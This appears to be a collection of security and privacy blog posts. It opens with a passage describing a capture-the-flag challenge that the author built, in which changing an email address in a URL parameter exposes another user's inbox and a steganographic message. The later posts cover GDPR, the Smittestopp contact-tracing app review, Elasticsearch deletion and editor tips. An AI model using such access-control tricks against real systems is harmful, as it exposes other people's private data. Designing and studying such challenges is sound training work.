Logged in as the secretary, users can see that the user they are logged in as is reflected in a URL-parameter. If they change this to be Patrick's email-adress (which can be found, as he has sent the secretary an email) they will gain access to Patrick's inbox. Here they can find an email from his secretary with the subject "Travel itinerary". The only text that email contains is "please find attached not a pipe", and an attachment which is an image of the painting "The Treachery of Images" (also known as "This is Not a Pipe"). This image is really used to hide a message via steganography.

Steganography

Using least significant bit steganography, I encoded a message in a copy of The Treachery of Images,

The message was a morse representation of a sentence, using a custom morse alphabet.

We got feedback after the event, which told us that the contestants found the problems fun, but challenging. All in all, making this competition was a very fun thing to be a part of!

SSL/TLS-Decryption and the GDPR

Malware is a threat against both organization and individuals in enterprise environments. These days, a large majority of network-traffic is encrypted on the wire, which protects the confidentiality and integrity of the data – but also creates issues for the monitoring of traffic for potential malicious activity on your network.

There are vendors, however, that provide network-products that will perform termination of SSL/TLS-traffic, inspect it and potentially produce logs for security analysis purposes.

But then again, the General Data Protection Regulation (GDPR) guarantees data subjects (e.g. your employees or co-workers) certain rights pertaining to privacy and data protection – and by extension makes certain demands of data processors when it comes to what data they can collect about whom and under what conditions, how they can process it, how long they can keep it, what third parties they can share it with under what stipulations, as well as how the data must be protected.

So what does this mean for your SSL/TLS-Decryption?

The rub

Well, one vendor of firewalls makes the claim that

[The GDPR] states specifically that you are allowed to implement measures in order to secure the processing of personal data. Because of this, it’s not correct to say, “I cannot do SSL decryption because of GDPR.” In fact, it’s more accurate to say, “The GDPR requires me to do it.”

This claim is on its face so categorical that it's obviously wrong.

The argument put forth claims (at least in my reading) that you can process some personal data (the data in the encrypted traffic that you wish to decrypt) because you wish to secure the processing of some other personal data (whatever that may be). This is a pretty charitable reading of the argument, because it certainly wouldn't make sense to argue that you need to decrypt (i.e. process; make non-confidential and inspect) a piece of data in order to secure that same piece of data – this would be self-contradictory.

There's also the fact that even "just" metadata – e.g. URLs – could in and of itself constitute special category data (colloquially known as sensitive personal data), which triggers even stricter requirements in the GDPR. This is because there is a non-zero probability of a URL "revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, [...] trade union membership [or] genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health or data concerning a natural person's sex life or sexual orientation".

A slight digression

URLs revealing personal data in your logs would, of course, be an issue even without SSL/TLS-decryption – meaning there's potential privacy impact and a compliance issue in any firewall or web server logging initiative.

IPs themselves are already categorized by the EU as personal data (this is something you should have some awareness of too), though in the case of webserver logs you'd probably be able able to use "legitimate interest" as basis for processing, make sure they're not available for anyone that don't need access, and rotate your logs every so often.

Still, this is no news – the Internet Engineering Task Force's (IETF) wrote a draft update to "RFC 6302 Logging Recommendations for Internet-Facing Servers" back in 2018, which suggests:

Full IP addresses should only be stored for as long as needed to provide a service;
Logs should otherwise only include the first two octets of IPv4 addresses, or first three octets of IPv6 addresses;
Inbound IP address logs shouldn't last longer than three days;
Unnecessary identifiers should not be logged – these include source port number, timestamps, transport protocol numbers, and destination port numbers; and
Logs should be protected against unauthorised access.

More info in this article in The Register.

Notice that we haven't even touched on the payload – the data that is communicated between two parties (e.g. a browser and a web server) – which could, naturally, reveal even more detailed information.

An attempted analysis

In short, the identified issue is: even URLs can potentially reveal a lot about a person – and must thus be considered (potentially) sensitive personal data. Payloads are, of course, an even bigger issue. What solution can we come up with to work around this?

One approach might be to not retain any logs of payloads and/or URLs from your SSL/TLS-decryption at all, except for concrete suspicions (i.e. perform allow-list- or suspicion-based logging).

Another approach could be to exclude as much traffic as you can (e.g. categories such as "health", etc. – if your solution supports this), knowing that this will create blind-spots in the excluded traffic.

Either way, you should also restrict access to any resulting logs, analysis tools and related itself as much as possible. You should also retain data (i.e. logs) for as short as practically possible (probably somewhere around 30-60 days or so).

This means that you will have to do trade-offs, and weigh the interests of privacy and security against each other – and realize that you probably won't have perfect forensic capabilities.

No matter what, you should still be aware that you can't ever really guarantee that you won't have personal (and maybe even sensitive) data as a consequence of analyzing your network traffic.

Hence: you need to perform a Data Protection Impact Assessment (DPIA).

Addendum (I am Not a Lawyer)

Contrary to what some believe – when dealing with personal data, you can't just decide that one one consideration is more important than another. If you don't base your processing on consent, but in stead opt for the oft-abused "legitimate interest" as your lawful basis for processing, you still need to formally weigh the interests, and document this in a Legitimate Interests Assessment (LIA), to decide whether it's reasonable to do so – and you're obligated to inform the data subjects. You must also attempt to reduce the privacy impact as much as possible.

Conclusion

It's almost as if you can't just blindly trust vendors (no way...) and actually have to make detailed assessments for yourself, just like the GDPR requires.

Opening Sublime Text Settings in a Standard Tab

Sublime Text is my text editor of choice. With version 3 currently in beta, the dev channel releases (only available to registered users) have been steadily been improving the application and adding new features.

Something irked me earlier this fall, however.

One day, as I pressed the hotkey to bring up my user preferences, an entirely new window popped up, displaying the application default settings and my user settings beside each other (as can be seen in the image below).

While great for discoverability, I really don't want to be dragged out of my current context; as I often work in full screen mode, I want to open my preferences in a normal tab.

After a quick question to Will Bond - perhaps most known for Package Control, Sublime Text's unofficial package manager - who now works on Sublime Text, I figured out how to revert to the old functionality.

P.S. In the following pieces of code, ${packages} refers to the place where Sublime Text Packages are stored on your system. This path is ~/Library/Application Support/Sublime Text 3/Packages on my mac.

First, I added the following to ${packages}/User/Main.sublime-menu:

[
  {
    "caption": "Preferences",
    "mnemonic": "n",
    "id": "preferences",
    "children": [
      {
        "command": "open_file",
        "args": { "file": "${packages}/User/Preferences.sublime-settings" },
        "caption": "Settings – User"
      }
    ]
  }
]

This adds an entry for the user preferences to the main menu.

After this, I added the following to ${packages}/User/Default (OSX).sublime-keymap (as I'm on macOS):

[
  {
    "keys": ["super+,"],
    "command": "open_file",
    "args": {
      "file": "${packages}/User/Preferences.sublime-settings"
    }
  }
]

Finally, I could once again easily open my user preferences in a normal tab (as seen below).

The UI theme used in the images above is one made by me called Faarikaal; the color scheme is a custom variation of "Tomorrow Night Bright" that is distributed with the theme.

If you're a bit too productive, you might want to check out my Xkcd viewer for Sublime Text 3, which will let you browse Xkcd comics directly from your editor.

Plain Text TODO

In the folders of my various projects - software or otherwise - I usually add two files that i add to my .gitignore, which only serve as personal notes.

The first file is SCRATCH.md, which I treat as a scratchpad of sorts; It contains only temporary information: braindumps, interesting links, etc.

The other is TODO.diff, which is a living TODO-list for the project in question.

The TODO-list leverages the diff-file syntax highlighting of my text editor: tasks that are yet to be done are marked with an -, while performed tasks are marked with +, and so on.

An example would be:

! A header
*** Important ***
Text
+ A finished task
- An unfinished task
---

which looks like this in my editor:

This affords me visual clues as to the status of the various tasks I have defined, while still keeping the list in a plain text format.

Smittestopp Summarized

The expert group appointed by the Norwegian Ministry of Health and Care Services to ascertain whether security and privacy is responsibly taken care of in the Norwegian COVID-19 contact tracing app "Smittestopp" has now published its final public report.

Being a member of this group, I thought I would very briefly and informally summarize our findings in English here, as the report is only available in Norwegian.

Though this is obviously a condensed representation of the contents of our report, I have tried to retain overall structure and the meaning of our original statements. Some details are undoubtedly still lost. I do this of my own personal initiative; This translation and summarization is not approved by any other party, including other members of the group.

This means that this is not an official translation.

Background and Involved parties

In March of this year, it was revealed that the Norwegian Institute of Public Health (Folkehelseinstituttet, FHI) – a government agency under the Ministry of Health and Care Services (Helse- og omsorgsdepartementet, HOD) – were developing a digital contact tracing app. Simula was chosen as a supplier, producing parts of the soution. FHI would also produce parts of the solution, as well as Norsk Helsenett (NHN) – which is a government owned company that develops and delivers national IT-infrastructure to the health sector.

Our work

On April 4th, the Norwegian Ministry of Health and Care Services appointed a group of experts based on recommendations from the organization IKT Norge. None of the participants are connected to the Norwegian Institute of Public Health, the Ministry of Health and Care Services, or Simula in any way.

We were tasked with evaluating all involved components in the Norwegian solution for contact tracing in the context of COVID-19. This includes mobile apps, a backend (encompassing many components, including analysis- and reporting-code) and connected services running in the cloud, integrations and new solutions at NHN and FHI, and plans for software that would create aggregated datasets after 30 days, for use in research and analysis.

From the 5th of April, we had direct access to source code (working repos), documentation, and representatives from all involved parties.

The Ministry og Health and Care Services published our mandate (Norwegian) on the 8th of April.

We delivered a temporary public report (Norwegian) on the 9th. Because of the short timeline and what parts of the overall system work had started on at this point, the temporary report only dealt with the mobile apps themselves, as well as some of the backend code. Additionally, we only commented on the security-aspects, and not the privacy implications – as we did not feel we could properly evaluate the privacy of the entire solution without more insight into the complete system and more time.

The Norwegian solution

The Norwegian COVID-19 contact tracing solution has two purposes:

Contact tracing
Evaluating government actions that aim to lower infection rate (e.g. public movement patterns), as well as further research and analysis (e.g. input to SEIR-models)

The solution consists of the following components:

Smartphone app ("Smittestopp")

Users enter their date of birth to confirm they are older than 16 years old, and register with their phone-number in order to use the application. The app collect locations (GPS) and contact (BLE + metadata relevant for estimating distance) with other devices running the app continuously. Once an hour, the app attempts to send all collected user data (contacts via Bluetooth Low Energy, locations via GPS) to a central server, and deletes local data upon completion.

The code also includes workarounds for BLE-use on iOS in the background, as this is presently subject to certain limitations on the platform.

Users can temporarily disable tracking (BLE and/or GPS), or request data deletion (in the cloud) from their app. The app also independently uploads heartbeats once registered, which is used to determine whether a given user is still active (still has the app on their phone), and delete their uploaded data if they are not. This heartbeat also includes whether the user has enabled or disabled GLE and GPS, respectively.

User interactions in the app fires analytics events to AppCenter.

Cloud solution

An Azure-hosted central datastore. Contains all user data from the last 30 days, including locations, IDs met and timestamps of BLE event, and associated metadata. Here, contact events are calculated in various ways, including crossing GPS-trajectories, and BLE-signals within 2m over 15 min., based on RSSI and more. Two graphs are produced:

A graph based on location data only, and
A graph based on Bluetooth-data, augmented with location data.

Also included here are services that produces reports for government health services for each person that has been in contact with an "index" (confirmed infected) patient. This includes points of interests (POIs), risk scores, number of contacts, as well as details of each contact between the two, such as the contact event dispayed in a map, risk scores, POIs, and more.

Within 30 days, and after using making aggregated datasets for further research and analysis, the cloud solution will delete data on an individual level (personally identifiable information), in accordance with regulation.

Security events, diagnostic data, etc. are also fed to a Security Operations Center (SOC) from here.

Web applications from FHI & NHN

NHN has produced an access auditing solution, where users can log in securely on an existing Norwegian healthcare information website, using a high security government standard login solution, and associate themselves with the phone number used to register the app on their smartphone. They will then be able to see who has accessed their data, when, and for what purpose.

In addition, FHI has produced a web application for use in "hunting" for contacts. These "infection hunters" will, given an index patient (person with confirmed infection), review contacts between the index patient and other persons for possible notification. Here, they will use the reports mentioned earlier.

Aggregated data

There is an expressed need for aggregated data in order to evaluate, for instance, the effect of government actions on social distance, rate of infection, analyze public movement, and to obtain data to use as input to SEIR-models.

Protocols to produce five different aggregated datasets (with different variants), and a k-anonymity of (usually) 5-10 has been proposed.

The code that would perform this task was not finished during our work. Thus, we worked mostly with documentation and conversations with relevant parties in this part of the review.

Data Use and Results

Purpose and context

The more limitations one puts on collection and storage of data, the less of a risk is posed to users' privacy. We point out that contact could be traced via BLE alone, and note that GPS typically has a precision of 3-10m and yields the best results outdoors. We also comment on the state of Bluetooth APIs and their limitations (on iOS in particular), which at this point in time is the main argument in favor of augmenting this data with GPS, and correlating data from several users. We note that background use of BLE-APIs on iOS will change in an upcoming OS update, as part of Apple and Google's collaboration on a standardized contact tracing API.

To evaluate how government actions affect movement in the population, one would ostensibly need location data in some form – though it would likely suffice with "courser" data than GPS on an individual level (as is used in contact tracing). In the Norwegian solution, GPS-data from all participants is used in combination with BLE, the latter of which is used to count contacts between people on different categories (POIs) of places. One could imagine a differentially private approach, where apps would aggregate data on the device, add artificial noise with certain statistical properties and so on.

In a pure resesarch-perspective, more data would be better – though the opposite is true in a pure privacy-perspective.

The app is voluntary to use in Norway, though the basis for processing is a regulation (authorized by the "Diseases Act") – not consent. Outside of this, the (the Norwegian implementation of) GDPR applies as otherwise. The regulation which is the basis for processing puts in place certain limitations for use and sharing of health-related data and location data. As BLE is neither, we fear that the current regulation allows sharing of BLE-data with, for instance, law enforcement.

Findings

App

The app starts communicating analytics data as soon as it is opened– including app version, telecom provider, locale, device model and manufacturer, screen resolution, OS type and version, timezone, and a unique identifier. This is not mentioned in the app's privacy policy, and user's are unable to control (i.e. opt out of) this.

The app uses a static identifier in BLE-contact communications. This was also reported in our previous, limited report. Simula plans to implement a new approach, where exchanged IDs and timestamps are encrypted on users' devices with a public key, and decrypted using a private key in the cloud.

Backend

The only form of anything resembling session validation in the cloud solution is using an eternal connection string. This means that one Man-In-The-Middle'ed connection equals eternal session hijacking (in combination).

The functionality used to bind phone number to the cloud device ID is implemented using a so-called "preview feature", which the supplier (Microsoft) says one should not use to process personal data or any other data that is subject to heightened compliance requirements.

Access solution

Requesting deletion of data in the cloud (via a user device) will also effectively delete any audit logs for the user data. This should be decoupled and done directly in its own solution.

Users can not see their own Bluetooth-contacts in the access auditing solution.

Logs of FHI's data access cannot be seen by users at the time of writing.

Notification solution

The code that finds and analyzes instances of contact is of very low quality. In some cases it is hard to read, and is so complicated and complex that it can not be called easily maintainable. There are also weaknesses both in implementation and in method (such as dropping data, performing smoothing).

As a consequence of attempting to translate signal strength (RSSI, txPower) to distance (BLE), there might also be inconsistent classifications.

SMS, which is used for notifying users, is not a secure communications channel, and these are easily spoofable.

Discussion

The government thinks they need 60% of the population (minimum) to get good results in contact tracing, and that research/analysis might need only 10% of the population. As users cannot choose what data to share for what purpose, we believe there is a risk of lowered user uptake.

We understand why one might start out with a centralized approach: Attempting to compensate for data quality by combining data from users, adjusting the contact tracing algorithms, and having an easily understandable and familiar basis will reduce risk and time to market. However, this does not mean one cannot work towards decentralization over time. By being more selective in what data to collect, and separating data collection for contact tracing from other purposes, one can reduce the risk to user privacy. In addition, a centralized data store of this kind will yield much larger negative consequences in the event of misuse, leaks or errors. It will also be a high value target for APTs, which are already targeting actors and systems involved in COVID-19 response.

Location data (on some level) is needed to evaluate movement patterns in the public, and enables use of category of location and mode of transport as factors in contact evaluation. While it can be used to remediate lowered quality of BLE-data, it is also more privacy-invasive.

Updated APIs from platform providers (Apple & Google) will lead to better data quality via BLE. Using these APIs requires no use of location services, and forbids a centralized storage approach, and would thus demand some rework of the app. This would have to lead to a lowered ambition when it comes to data collection, or implementing an app that only does contact tracing.

We discuss the currently propsed solution for data aggregation, which involves random sampling, k-anonymity and access-control, and compare the qualities of this approach with differential privacy, which we think would yield both better privacy and better data in this case.

Also discussed is contact tracing vs. attempting to predict infection directly, e.g. using time spent in POIs, close contacts etc. as inputs.

The group points out that open source code would make it posible for the public to verify, and possibly improve the solution. Open source code might lead to better security in a longer perspective, but in the short run it could enable bad actors to identify and exploit a vulnerability before anyone else can identify it, patch it, and release a fix.

We discuss the fact that contact tracing via smartphones is a new, unsolved problem – and that, since the solution is based on technology that is not designed for this purpose (BLE, GPS), it is uncertain whether the problem can be solved in practice. We acknowledge that time is obviously a pressing concern in this project. Then we discuss the extent to which non-functional requirements such as security and privacy are considered at present, in light of what development phase the solution is in. It is claimed that the app is being tested in a select few municipalities, even though people all over the country are able to download the application and upload data in practice. We mention the importance of goals and hypotheses in the context of constantly reevaluating during development.

Conclusion

We find that neither security nor privacy is responsibly taken care of in the system as of May 18th 2020.

In the case of security, rectifying the use of a static identifier might have bettered security-aspects so much as lead us to another conclusion – but privacy concerns demands more, and larger alterations.

Recommendations

The group's recommendations include:

Clarifying the regulation which serves as basis for processing (changing "anonymized" to "deidentified"), to enable data aggregation in practice.
Split purposes, and allow users to choose how their data is used (split into several apps, or implement opt-in functionality). This might both protect users' interests and lead to more users.
Remove all data that is not needed (e.g. delete location data older than 15-16 days, delete location data without crossing trajectories at regular intervals) to increase data minimization.
Implement differential privacy in data aggregation processes, to reduce risk to privacy and increase accuracy of the resulting dataset.
Consider rewriting to a more distributed solution, post stabilized contact tracing criteria, as this could be both less invasive and lead to an increase in users.
Implement local differential privacy before uploading user data, to further decrease privacy impact.
Make as much source code as possible available as open source, to give the public real insight into how their data is used.
Regularly evaluate the solution, purpose and effect, to ensure that the solution is still suitable, and the problem is still relevant.

The original Norwegian report can be found here (PDF).

Don't be Evil

Two days ago, I stumbled upon this thread on Hacker News. The subject of discussion is a comment on a W3C TAG discussion, which claims that Google Chrome sets Google-specific tracking headers (x-client-data) when visiting Alphabet-owned domains. The header's value is a "unique ID to track a specific Chrome instance" (installation).

There's no consent from users, or even an ability to opt-out.

This could obviously be used to fingerprint or track users (especially if combined with IP-address, for instance) – even across domains – which looks especially sketchy in the context of recent development with SameSite-cookies, as it means that Google is potentially keeping the possibility that everyone else will eventually be denied because of their vertical ownership, including the platform (browser).

An antitrust-case in the making?

A rose by any other name

I have long been arguing against the proposed bill for the Norwegian external intelligence service, as it included legislation for bulk collection and storage of data-traffic.

The bill includes the euphemism "facilitated retrieval" (formerly known as "digital border defence"), describing continuous mirroring of all data traffic "crossing the border" (i.e. almost all Norwegian traffic, including norwegian-to-norwegian traffic). Metadata will be searchable via (secret) court order, and content data after another, separate court order after that. It's basically your run-of the-mill metadata bulk collection.

The ministry of defence (and particularly the Minister of Defence, Frank Bakke-Jensen) has repeatedly ignored expert criticism during hearings, avoided responding to counter-arguments and questions in debate and the media.

After facing pure slaughter at last year's hearing – the Norwegian Data Protection Authority called the bill "mass-surveillance of Norwegian citizens" – the Norwegian government decided to fast-track the bill this summer, during the current pandemic crisis, and with their usually short warnings.

Along with Simen Bakke, Britt Lysaa and Johannes Brodwall, I recently wrote a statement and petition (Norwegian) – stating that the bulk-collection part of the bill constitutes mass surveillance, and is unacceptable in a liberal democracy.

Even though no major media even covered the fact that the bill was in Parliament, we got over 1000 signatures in under 2,5 days.

Nevertheless, parliament passed the bill – which means that Norway, tragically, has become yet another western country implementing more authoritarian means.

This is particularly interesting as the European Court of Human Rights is currently dealing with two cases that deal with whether comparable measures of mass surveillance (bulk collection of metadata etc.) is compatible with human rights. Back in 2011, the Norwegian parliament voted to implement the Data Retention Directive (as one of the first in Europe, even though we're not part of the European Union, only the European Economic Area) – which they later had to abandon, as the Court of Justice of the European Union declared the Directive invalid – stating that blanket data collection violated the EU Charter of Fundamental Rights, in particular the right of privacy.

I don't know what's worse in this case: The bad and invalid arguments the government have used, or the apparent cluelessness of the politicians that voted for the bill. It’s all in Norwegian, and somewhat lengthy, but there's video (all Norwegian) available from both the Standing Committee on Foreign Affairs and Defence (part 1, part 2) and Parliament (part 1, part 2).

Some seem to understand neither context, technical premises, legal boundaries nor practical consequences of the bill.

There was some after-the-face coverage of both the bill and the petition in Dagbladet and Natt & Dag, but it was too little, too late.

Now we'll have to think about next steps...

Lucene Indexes and GDPR

Last week, I wrote about a potential GDPR-issue with Elasticsearch (Lucene segments, really) that I discovered this summer. As this is uncharted territory, there was no obvious solution – and there are potentially lots of people and organizations at risk.

Now, I think I have a solution.

**Edit: ** I've since held a presentation regarding this (in Norwegian).

**Edit: ** I spoke about this subject at JavaZone 2019.

The issue

As I described in my post about Elasticsearch and GDPR, there is in all probability a large amount of solutions out there that are in violation of the GDPR, from my conservative, non-lawyer interpretation of the situation. This is because they rely upon Elasticsearch as a primary data store (which they should not do), or otherwise depend on Lucene for storage of personal data.

To sum it all up, the problem is that data isn't really deleted from Lucene segments before the segment containing the data in question is merged – the timing of which is not necessarily easily predictible, as it depends on a lot of technical details. This means that one can't necessarily guarantee deletion of data within 30 days, in accordance with the GDPR.

It is important to point out that the problem does not stem from Elasticsearch or Lucene themselves, but from how people use them, i.e. for something they were not designed to do.

After discussing with colleagues at Bouvet, as well as reaching out to Elastic, the Lucene Project Management Committee, and third party solutions, I believe I've finally got a pragmatic solution.

Discussion

I sent an email to Jan Høydahl (Lucene contributor and member of the Lucene Project Management Committee), who – in addition to spar about GDPR and practical solutions – told me that Lucene 7.5 (which will likely be released in the coming week) will change the segment merging logic to also include handling of segments with more than 5 GB of data, and therefore generally ensure that deleted docs will disappear faster than before, also in large segments. The limit for what percentage amount of deleted docs that will lead to a segment merge will also be configurable, which means that one can set this to a lower value at the expense of I/O to ensure more frequent segment merging.

On LinkedIn, he commented:

Luckily the upcoming Lucene/Solr 7.5, which is currently in the release pipeline, fixes some of the shortcomings you mention in your post, and allows Lucene to weed out deleted docs in a predictable manner while doing its ordinary merges in the background, also from large segments, see https://jira.apache.org/jira/browse/LUCENE-7976

He also told me that one could, for instance, perform a forced optimize or expungeDeletes operation every 30th day to force a complete cleaning of deleted docs. Because of the large amounts of data that will be read and written to and from disk, this would be a very costly and time consuming operation. One should therefore either run this in a maintenence window or off-peak, or alternatively scale one's cluster a little up more than one would normally need to handle this I/O during peak hours. Since one would only do this every 30th day, the off-peak solution might be preferrable.

Solution

If the GDPR would lead to fines for "deleted" personal data being discoverable in an index-file after 30 days, one should upgrade to Lucene 7.5 (once it is released) and run expungeDeletes every 30th day (e.g. via a cronjob).

This will likely lead to all sorts of upgrade- and dependency-issues for related software, and will in many cases mean upgrading to a version of Elasticsearch (or SOLR, for that matter) that is built upon Lucene 7.5. Then again, there is no telling when Elasticsearch will update its version of Lucene, or when solutions that depend upon Elasticsearch will upgrade its version of Elasticsearch, and so on.

Another thing I've thought about is that one will perhaps have to to prove compliance to some extent, i.e. that configs, rates and architecture will enable you to guarantee that data is deleted after 30 days. In the end, we likely won't know specifics such as this, and what "deleted" means specifically (i.e. how good is good enough) before a case dealing with this topic is processed in court.

Elasticsearch and GDPR

**Edit: ** Since this was originally posted, I've come up with a solution.

When I was in Philadelphia this summer, taking the Elasticsearch Engineer I and II courses, something interesting occurred to me which might not be immediately obvious – and which may further complicate the already non-trivial technical issues that have appeared in the wake of GDPR.

Some background

If you don't already know, Elasticsearch is an open source, near real-time distributed search engine with a REST-API. Though it is suited for NoSQL storage, you should not use Elasticsearch as a primary data store (further detailed here).

Don't get me wrong – Elasticsearch is great for search; But it's not a database.

We were in the midst of discussing the nitty gritty of the advanced features of Elasticsearch related to distributed storage, specifically the internals of Lucene, upon which Elasticsearch is based.

The relevant concepts are neatly summed up here, but in short: You insert documents (data) in an index (a logical namespace, comparable to a database), which is mapped to one or more primary shards (and however many replica shards); the shards are distributed across the nodes in your cluster; each node runs a number of shards (including primary and replica shards); each shard consists of segments. Segments are essentially immutable "mini-indices", which handles searching on its part of the entire data collection when Lucene does a search. Since segments are immutable, deleted documents are not really deleted, but only marked as such – so the segments filter out documents marked for deletion when searches are performed.

Any given shard is continuously processing its document queue, inputting data to Lucene documents. These documents are added to the index buffer, which is eventually flushed in a new segment, and lastly committed. When this all happens is up to the shard's host node. These flushes are not synchronized across nodes, so situations may occur where, for instance, master and replica shards may hold differing "truths" (data) as refreshes propagate across nodes.

Since the distributed search will get increasingly more complicated as more segments are added, Lucene will on occation merge segments according to a merge policy. When this happens, documents marked as deleted are dropped. This also means that adding more documents may some times result in a smaller index size, since it can trigger a segment merge.

Though you can use the optimize API to force a merge operation, this is not usually wise. In short, it reduces the number of segments (usually to one), and hinders the background merge process. It should not be used on a dynamic (actively updated) index – it is typically only beneficial for older, essentially read-only indices.

Elastic explains the merge process here, and Michael McCandless further details segment merging here.

Segment merging can be visualized as such:

You don't necessarily understand what data you have

This all means that at any given point, you may still have data which is supposed to be deleted on disk (Lucene segments are files, after all) – depending on your cluster architecture, differing amount of data between primary and master shards on different nodes, and merge settings.

In addition, continuous index refreshing (which is what enables near real-time search) is the most common cause for flushes. This happens every second by default. A flush will create a new segment, and can possibly trigger a merge.

It is also possible to mess up your refresh-interval-setting or disable automatic refreshing altogether, for instance if you do this while (re-)indexing and forget to enable it later.

Lastly: Once a segment reaches max size (5GB by default) it will only be eligible for merging when it accumulates 50% deletions.

TLDR: Depending on your rate of indexing and searching, your configuration, your segment sizes, and your overall architecture (and even more technical details), you may very well have "deleted" data on disk for longer than you are aware of.

The GDPR

According to Article 17 ("Right to be Forgotten") of the GDPR, users have the right to have their data erased from a controller. Afterwards, the controller has 30 days to confirm what data has been deleted or the reasons they cannot delete it.

To be able to do this, one would need to:

Know what data is stored
Locate all instances of the data in question
Guarantee that all relevant data is in fact erased

Back to our story...

During the Elasticsearch course, we were told that documents aren't really deleted, but marked as such - they are only really deleted when segments are merged (at some, possibly hard to define, point in the future). Additionally, there's issues of synchronisation, which doesn't necessarily happen instantaneously, and the fact that segment merging may happen at different times on different shards.

I then asked: "Does that mean that there's no way to guarantee that information is deleted - let's say in the context of complying with regulation, such as the GDPR?"

Our instructor said "no", but quickly added "Is there ever really such a guarantee?"

He also pointed out that you will potentially have the same issue all the way down to the disk level, i.e. files aren't typically really deleted from hard drives, but only "marked" as such.

Consequences

It is not necessarily easy to predict when Elasticsearch will merge segments and drop "deleted" documents. Depending on the system and its configuration, you may (in the worst case) not necessarily be able to guarantee that this will happen within 30 days – though this might not be a common issue in practice.

It is not a given that one may override Elasticsearch's internal policies for storage and performance manually in a way that is practical to do in production environments ; if so, things will likely get pretty complicated pretty fast. And even then: who knows what happens on different nodes in the cluster, not to mention on the disk-level.

If it is really necessary to guarantee that the data in question is deleted in a way that makes it impossible restore them, it wil likely be a very expensive solution.

One would maybe have to reimplement the merging mechanism in a way that meets these demands and handle it manually; Or make a program which finds and deletes the relevant data on a file level on disk on the relevant nodes, triggered upon "deletion" in Elasticsearch.

Another approach would be to encrypt the relevant data hard, and "throw away the key".

A final approach is something like what Reddit user 1s44c commented on this post's submission on the Elasticsearch subreddit:

On ES versions less than 6 we see a lot of minor inconsistencies in document counts on rebuilt shards on busy indices. This causes us to rebuild indices at least weekly and dump the old ones. That should wipe out all old data and is a short enough timeframe to solve GDPR worries.

Like you say ES is a great tool but it really, really isn't a primary data store. You should always have a well tested way to recreate indices from source. Having said that version 6.3 is FAR better at keeping consistent document counts in every shard.

No matter the approach, it is sure to become complicated. Additionally, this is probably a relevant problem for other comparable solutions as well.

Third party solutions

There's also the case of solutions built around Elasticsearch (not that you should use ES as your primary datastore).

For instance, there are Content Management Systems, such as Enonic XP, which uses ES as a primary datastore in the Enonic Content Repository ("NoSQL database - Lightning fast and built on Elasticsearch"). There are probably also custom solutions out there that do the same thing.

If someone stores personal data in these instances, they may potentially have a problem down the line if a "difficult" person demands their data deleted.

Conclusion

There are many that use Elasticsearch as a primary data store (even though they shouldn't) in some shape or form. This ranges from custom built architectures to commercial solutions.

One can't necessarily guarantee deletion of data (as defined by the GDPR) within 30 days – in accordance with the law – because of how Lucene segment merging works, as well as a myriad of other tetchnical details.

This means that there are a lot of people and companies out there that are at risk of not being GDPR-compliant, should the EU take a principal stand on the issue. Being non-compliant would, in the case of prosecution, potentially lead to fines up to €10 million, or 2% of the worldwide annual revenue of the prior financial year, whichever is higher.

There is no known solution as of yet, as this is new territory.

**Edit: ** Since this was originally posted, I've come up with a solution.

OWASP Top-10 is not a standard

This is a short one.

OWASP Top 10 is not a standard, though it's often used as such. It's an awareness document.

I've seen so many cases of people and organizations claiming that their solutions are secure, since they use the Top-10 list in their work, track Top-10 occurences – or that they're in compliance with OWASP Top-10, which doesn't make much sense...

Knowing about and acting upon the relatively simple vulnerabilities in the Top-10 list is a good start, but it's not by itself enough of a basis to claim good security™. There's more to know, and many places security should be plugged into your lifecycle – for instance:

If you're looking for a (compliance or regulatory) standard, look to the ASVS (Application Security Verification Standard), or similar projects.

Defining Privacy

In this post I'll attempt to give a brief, but thorough introduction to privacy. This ambitious task is motivated in part by the staggering amount of people I've dealt with that lack a proper understanding of the subject – whether they be politicians, laymen, or even tech-professionals.

An attempted definition

At its core, privacy is aboute being able to control your own information (i.e. information about you).

Controlling your own information allows you to express yourself selectively, and to be able to seclude yourself or information about yourself – according to your wishes and your own will.

This entails, amongst other things, the ability to keep certain things private. Maybe something you find particularly special, sensitive or secret.

While the domain of privacy has a certain partial overlap with security, the two are distinct fields. Relevant concepts from the security domain include appropriate use, as well as protection of information. A definition of privacy may include "bodily integrity" (i.e. the inviolability of the physical body), but it is a completely different thing than ensuring somebody's physical safety. The latter would fall under the domain of security.

Though information pertaining to you belongs to you (i.e. is under your ownership), other individuals and organizations may see value in it. You may then elect to trade personal details for some sort of benefit in return – such as a product, a service, or some such. Additionally, some information about some people is subject to rules on public interest, e.g. the dealings of politicians or pillars of society.

Additionally, privacy – as other fundamental rights – is not necessarily absolute. If there is a matter of greater importance, a fundamental right (including privacy) may ostensibly be encroached upon to a certain extent (they may never be entirely eroded, as they are fundamental rights, after all), provided that the actions taken are necessary and proportionate. At this point things obviously get complicated, but it illustrates the contextual implications of privacy to a certain extent.

Merriam-Webster (yes, I'm doing this...) defines privacy as

“The quality or state of being apart from company or observation” or “freedom from unauthorized intrusion”.

That may sum it up, though it might be a little limiting...

History

While most cultures recognize individuals' ability to to withhold certain parts of their personal information from society, privacy as we know it today is a relatively modern construct, mainly associated with western culture.

Think personal autonomy, self-ownership, and self-determination – all virtually universally recognized as inalienable rights, which spring from the historical context of establishing individual rights and values, as opposed to individuals being property of the state. Privacy allows the individual protection from government, majority or other forms of power, and is an essential enabler of an individual’s autonomy, dignity, and freedom of expression. In a sense, one could argue privacy is at the core of classical liberalism, and as a consequence it is a cornerstone of liberal democracy.

Privacy is thus integral to the concept of liberty – and a prerequisite of freedom. Because of this, it has been defined as a fundamental right by both nation-states (via their constitutions), as well as political unions and intergovernmental organizations (e.g. the European Convention on Human Rights and the Universal Declaration of Human Rights).

Privacy's importance

Privacy is not really something we can trade off for something else. We have an intrinsic need for privacy as human beings, which is why it is defined as a fundamental right – so that we can live dignified lives in civilized society. As such, it is a foundational principle, much like freedom of speech.

To illustrate why we really need privacy, consider this banal example: You probably want privacy in the restroom, even though you're doing nothing wrong.

"If you aren't doing anything wrong, what do you have to hide?"

Some clever answers: "If I'm not doing anything wrong, then you have no cause to watch me." "Because the government gets to define what's wrong, and they keep changing the definition." "Because you might do something wrong with my information." My problem with quips like these -- as right as they are -- is that they accept the premise that privacy is about hiding a wrong. It's not. Privacy is an inherent human right, and a requirement for maintaining the human condition with dignity and respect.

– Bruce Schneier

As Edward Snowden says in his book Permanent Record, “Arguing that you don't care about the right to privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say.”

